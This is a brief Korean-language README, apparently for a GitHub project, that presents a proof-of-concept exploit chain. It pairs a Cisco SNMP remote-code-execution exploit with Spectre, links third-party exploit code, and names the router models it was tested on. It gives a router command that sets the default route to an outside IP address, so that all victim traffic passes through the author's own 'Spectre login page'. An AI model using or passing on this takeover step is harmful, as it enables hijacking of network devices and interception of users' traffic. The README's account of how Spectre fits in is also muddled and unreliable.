plyrthn/ciscospectretakeover최근 Cisco SMP 익스플로잇(CVE-2017-6736)을 사용하여 Spectre(CVE-2017-5753 및 CVE-2017-5715)로 연결하는 POC 체인 익스플로잇
최근 Cisco SMP 익스플로잇(CVE-2017-6736)을 사용하여 Spectre(CVE-2017-5753 및 CVE-2017-5715)로 체이닝하는 PoC 체인 익스플로잇
artkond의 Cisco RCE 익스플로잇 서브모듈: https://github.com/artkond/cisco-snmp-rce
ascendr의 JS Spectre Chrome POC: https://github.com/ascendr/spectre-chrome
Cisco 1841+2600 라우터에서 테스트되었습니다.
RCE 익스플로잇을 실행한 후, 설정으로 다음을 실행하세요:
Router(config)> ip route 0.0.0.0 0.0.0.0 195.20.52.49
이렇게 하면 모든 트래픽이 제가 만든 Spectre 로그인 페이지를 통과하게 됩니다. 나중에 실제 웹사이트 접속을 처리하는 더 나은 버전을 추가할 예정입니다.
